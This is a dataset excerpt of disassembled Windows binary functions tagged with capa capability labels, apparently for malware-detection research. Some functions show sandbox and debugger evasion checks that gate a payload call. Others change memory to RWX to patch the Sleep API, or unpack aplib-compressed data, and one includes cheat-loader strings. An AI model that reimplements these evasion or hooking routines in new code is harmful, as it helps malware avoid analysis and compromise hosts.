joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027a20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400bd654]
mov rbx, rcx
test esi, esi
jle 0x140027b50
mov rax, qword [0x1400bd658]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140027a6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140027af5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140027a50
mov rcx, rbx
call fcn.140028470
mov rdi, rax
test rax, rax
je 0x140027b72
mov rax, qword [0x1400bd658]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400285b0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400bd658]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140027b57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140027aee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140027b00
add dword [0x1400bd654], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400bd658]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140027aee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.inpvlamaudoiurjglmmzskfimvfqyahph_0x_x
mov edx, eax
call fcn.1400279b0
nop dword [rax]
xor esi, esi
jmp 0x140027a78
mov rax, qword [0x1400bd658]
mov edx, dword [rdi + 8]
lea rcx, str.__avqfgmiwyourwelpolb_for__d_ommyavzmuvbexlqx__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400279b0
mov rdx, rbx
lea rcx, str.qtlvpqgypnelzybsqsgctlqxktbuink
call fcn.1400279b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400280e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400bd6c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400bd6a0]
test rbx, rbx
je 0x14002813c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140028133
test rsi, rsi
je 0x140028133
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140028118
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140028470
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14009eb30]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140028490
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140028498
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140028490
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400284ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400284e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140028490
add rax, 0x28
cmp rax, r9
jne 0x1400284d0
xor eax, eax
ret

Function at 0x1400284f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14009eb30]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14002850f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140028518
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14002850f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400285b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14009eb30]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400285cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400285d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001010
Capabilities:
Check for debugger via api
Enumerate processes
Get system information on windows
Identify system language via api

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001121
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
jne 0x140001121
xor ecx, ecx
mov eax, 1
cpuid
test ecx, ecx
js 0x140001121
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x36ee80
jb 0x140001121
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x140001121
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rsp + 0x60], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x64]
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xffffffffffffffff
je 0x140001102
lea rdx, [rsp + 0x60]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400010f4
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x60]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400010e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x64
jl 0x140001121
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x50], 4
jbe 0x140001121
lea rax, section.vdata
call rax
xor eax, eax
jmp 0x140001126
mov eax, 1
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001160
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x2b0
pop rdi
ret

Function at 0x140001a20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a6c
xor al, al
add rsp, 0x28
ret
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
test al, 0x17
in eax, dx
jg 0x140020a05
mov bh, 0x57
cld
mov fs, esp
sahf
add al, 0xa
fldenv [rbp - 0x64dc0c2e]
xchg ebx, eax
mul byte [rdx]
xchg edi, eax
shl r13, 1
or esp, esi
xchg esi, eax
invalid
invalid
Function at 0x140db5058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140db51df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140db5089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db506f
add dl, dl
jne 0x140db5096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db50f6
xor eax, eax
add dl, dl
jne 0x140db50a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db51ad
add dl, dl
jne 0x140db50b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db50c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db50d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db50dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140db50ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140db507e
mov eax, 1
add dl, dl
jne 0x140db5106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db5113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db50fb
sub eax, ebx
mov ebx, 1
jne 0x140db514c
mov ecx, 1
add dl, dl
jne 0x140db512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140db513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db5123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140db5168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140db5175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db515d
cmp eax, 0x7d00
jae 0x140db519b
cmp eax, 0x500
jb 0x140db5196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db507e
cmp eax, 0x7f
ja 0x140db519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140db51d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140db507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002750
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400027ad
lea rbx, [0x140037fd0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002794
cmp r10, 2
jb 0x140002794
cmp byte [r9], r8b
jne 0x140002794
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002770
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400027ef
lea rbx, [0x140037fd0]
cmp r8b, 0x23
jne 0x1400027d3
cmp byte [r9], r8b
jne 0x1400027d3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400027c0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x1400046b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0x1f0], 0
mov rdi, rdx
mov rbx, rcx
jg 0x1400046e8
mov r8d, 0x4f0
lea rdx, str.C:Users1DocumentsImRaze_Deisgn_free_loader_4menu_sourseimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0x1f0]
mov rax, qword [rbx + 0x1f8]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x140037fd0]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3c]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3d]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3e]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3f]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x14026fc80]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1a3c], edx
jne 0x1400047aa
mov dword [rax + 0x1a44], edx
cmp dword [rax + 0x1a40], edx
jne 0x1400047b9
mov byte [rax + 0x1a50], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140006e30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
cmp byte [rcx], 0
mov rbx, rcx
jne 0x140006e4b
cmp byte [rcx + 0x2eac], 0
je 0x140006e65
mov r8d, 0xe05
lea rdx, str.C:Users1DocumentsImRaze_Deisgn_free_loader_4menu_sourseimgui.cpp
lea rcx, str._g.Initialized___g.SettingsLoaded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor eax, eax
lea r8, [0x1400363d9]
mov dword [rsp + 0x2c], eax
lea r11, [0x140037fd0]
mov qword [rsp + 0x48], rax
mov r10d, 0xffffffff
lea rax, str.Window
mov edx, r10d
mov qword [rsp + 0x20], rax
mov r9b, 0x57
cmp r9b, 0x23
jne 0x140006ea9
cmp byte [r8], r9b
jne 0x140006ea9
cmp byte [r8 + 1], r9b
cmove edx, r10d
movzx ecx, dl
movzx eax, r9b
movzx r9d, byte [r8]
xor rcx, rax
shr edx, 8
inc r8
xor edx, dword [r11 + rcx*4]
test r9b, r9b
jne 0x140006e96
mov ecx, dword [rbx + 0x2ecc]
lea rax, [0x140013a90]
mov edi, dword [rbx + 0x2ec8]
not edx
mov qword [rsp + 0x30], rax
lea rax, [0x140013b10]
mov qword [rsp + 0x38], rax
lea rax, [0x140013bf0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], edx
cmp edi, ecx
jne 0x140006faf
inc edi
test ecx, ecx
je 0x140006f15
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x140006f1a
mov eax, 8
cmp eax, edi
cmovg edi, eax
cmp edi, ecx
jle 0x140006faf
mov rax, qword [0x14026fc80]
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
test rax, rax
je 0x140006f43
inc dword [rax + 0x3b0]
movsxd rax, edi
lea rcx, [rax + rax*2]
shl rcx, 4
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, qword [rbx + 0x2ed0]
mov rbp, rax
test rsi, rsi
je 0x140006f98
movsxd rcx, dword [rbx + 0x2ec8]
mov rdx, rsi
lea r8, [rcx + rcx*2]
mov rcx, rax
shl r8, 4
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [0x14026fc80]
test rax, rax
je 0x140006f8f
dec dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, qword [rsp + 0x68]
mov qword [rbx + 0x2ed0], rbp
mov rbp, qword [rsp + 0x60]
mov dword [rbx + 0x2ecc], edi
movsxd rax, dword [rbx + 0x2ec8]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rcx, [rax + rax*2]
mov rax, qword [rbx + 0x2ed0]
add rcx, rcx
movups xmmword [rax + rcx*8], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + rcx*8 + 0x10], xmm1
movups xmmword [rax + rcx*8 + 0x20], xmm0
inc dword [rbx + 0x2ec8]
mov byte [rbx], 1
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140008b20
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x140008b70
lea r11, [0x140037fd0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140008b53
cmp byte [r8], r9b
jne 0x140008b53
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140008b40
mov rcx, qword [0x14026fc80]
not eax
movsxd rdx, dword [rcx + 0x19f8]
mov r9, qword [rcx + 0x1a00]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x140008bd1
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x140008bc9
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x140008bcc
mov rdx, r8
test rdx, rdx
jne 0x140008ba0
cmp r9, r10
je 0x140008be0
cmp dword [r9], eax
jne 0x140008be0
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret
Function at 0x140013380
Capabilities:
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x40
xor eax, eax
mov qword [rsp + 0x50], rbx
mov rbx, qword [0x14026fc80]
mov qword [rsp + 0x60], rsi
mov rsi, rcx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov ecx, dword [rbx + 0x2edc]
mov edi, dword [rbx + 0x2ed8]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], eax
mov byte [rsp + 0x3c], al
cmp edi, ecx
jne 0x14001345f
inc edi
test ecx, ecx
je 0x1400133d8
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x1400133dd
mov eax, 8
cmp eax, edi
cmovg edi, eax
cmp edi, ecx
jle 0x14001345f
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x68], r14
test rbx, rbx
je 0x1400133fb
inc dword [rbx + 0x3b0]
movsxd rcx, edi
shl rcx, 5
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, qword [rbx + 0x2ee0]
mov r14, rax
test rbp, rbp
je 0x140013448
movsxd r8, dword [rbx + 0x2ed8]
mov rdx, rbp
shl r8, 5
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x14026fc80]
test rdx, rdx
je 0x14001343f
dec dword [rdx + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbp, qword [rsp + 0x58]
mov qword [rbx + 0x2ee0], r14
mov r14, qword [rsp + 0x68]
mov dword [rbx + 0x2edc], edi
movsxd rcx, dword [rbx + 0x2ed8]
mov rax, qword [rbx + 0x2ee0]
movups xmm0, xmmword [rsp + 0x20]
shl rcx, 5
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rcx + rax], xmm0
movups xmmword [rcx + rax + 0x10], xmm1
inc dword [rbx + 0x2ed8]
cmp dword [rbx + 0x2ed8], 0
jg 0x1400134ad
mov r8d, 0x4f0
lea rdx, str.C:Users1DocumentsImRaze_Deisgn_free_loader_4menu_sourseimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdi, dword [rbx + 0x2ed8]
shl rdi, 5
add rdi, qword [rbx + 0x2ee0]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400134d0
mov rax, qword [0x14026fc80]
test rax, rax
je 0x1400134ed
inc dword [rax + 0x3b0]
lea rcx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x50]
lea r8, [rsi + 1]
mov qword [rdi - 0x20], rax
mov r10d, 0xffffffff
movzx r9d, byte [rsi]
mov edx, r10d
mov rsi, qword [rsp + 0x60]
test r9b, r9b
je 0x140013561
lea r11, [0x140037fd0]
cmp r9b, 0x23
jne 0x140013544
cmp byte [r8], r9b
jne 0x140013544
cmp byte [r8 + 1], r9b
cmove edx, r10d
movzx ecx, dl
movzx eax, r9b
movzx r9d, byte [r8]
xor rcx, rax
shr edx, 8
inc r8
xor edx, dword [r11 + rcx*4]
test r9b, r9b
jne 0x140013531
not edx
lea rax, [rdi - 0x20]
mov dword [rdi - 0x18], edx
add rsp, 0x40
pop rdi
ret
Function at 0x140013940
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [0x14026fc80]
xor r15d, r15d
mov rbp, rcx
mov dword [rdi + 0x2eb0], r15d
test rcx, rcx
je 0x140013a82
mov qword [rsp + 0x40], rbx
lea rbx, [rdi + 0x2eb8]
mov dword [rdi + 0x2eb0], r15d
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x48], rsi
test ecx, ecx
jns 0x14001399e
mov eax, ecx
cdq
sub eax, edx
mov edx, r15d
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.140014a70
mov dword [rbx], r15d
cmp dword [rbx + 4], r15d
jne 0x1400139b4
mov edx, 8
mov rcx, rbx
call fcn.140014a70
movsxd rcx, dword [rbx]
mov esi, r15d
mov rax, qword [rbx + 8]
mov byte [rcx + rax], r15b
inc dword [rbx]
mov eax, dword [rdi + 0x2ec8]
test eax, eax
jle 0x140013a21
mov qword [rsp + 0x50], r14
mov r14, r15
cmp r15d, eax
jl 0x1400139f5
mov r8d, 0x4e6
lea rdx, str.C:Users1DocumentsImRaze_Deisgn_free_loader_4menu_sourseimgui.h
lea rcx, str.i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r9, qword [rdi + 0x2ed0]
mov r8, rbx
add r9, r14
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x20]
mov eax, dword [rdi + 0x2ec8]
inc esi
add r14, 0x30
cmp esi, eax
jl 0x1400139f5
mov r14, qword [rsp + 0x50]
mov eax, dword [rbx]
lea rdx, [0x140037d80]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x2ec0]
cmove ecx, r15d
lea rdi, [0x14026fc78]
test rax, rax
movsxd rsi, ecx
mov rcx, rbp
cmovne rdi, rax
call fcn.140002800
mov rbx, rax
test rax, rax
je 0x140013a78
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbp
ret
Function at 0x140033c58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140033ca2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140033ca2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140033ca2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140033ca2
cmp dword [rcx + 0x84], 0xe
jbe 0x140033ca2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140033ca4
xor al, al
add rsp, 0x28
ret
Function at 0x4015ec
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
cmp r8d, 2
mov r12, rcx
lea r14, [rsp + 0x20]
mov r15d, r8d
jne 0x401652
mov dword [0x004539c0], 0x10
movups xmm0, xmmword [rcx]
lea rsi, [0x0045001e]
mov rdi, r14
movups xmmword [0x004539c4], xmm0
movups xmm1, xmmword [rcx]
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x22], rdx
mov ecx, 0xd
mov rsi, r14
movups xmmword [0x004539d4], xmm1
lea rdi, [0x004539d4]
rep movsb byte [rdi], byte [rsi]
mov r13d, dword [0x004539c0]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r14
mov rcx, r12
mov dword [rsp + 0x20], 0
mov r8d, 0x40
mov rbp, r13
mov rdx, r13
call rbx
test eax, eax
je 0x4016fd
test r15d, r15d
lea rsi, [0x004539d4]
mov rdi, r12
mov rcx, r13
lea rax, [0x004539c4]
cmove rsi, rax
cmp qword [0x00453038], 0
rep movsb byte [rdi], byte [rsi]
jne 0x4016cb
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x00453038], rax
mov rsi, qword [0x00453038]
test rsi, rsi
je 0x4016e8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, ebp
mov rdx, r12
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r14
mov rdx, r13
mov rcx, r12
call rbx
mov eax, 1
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x4017b3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x0040170e]
jmp fcn.004015ec

Function at 0x4017cc
Capabilities:
Create thread
Encode data using xor

Disassembly:
push r12
push rbp
push rdi
push rsi
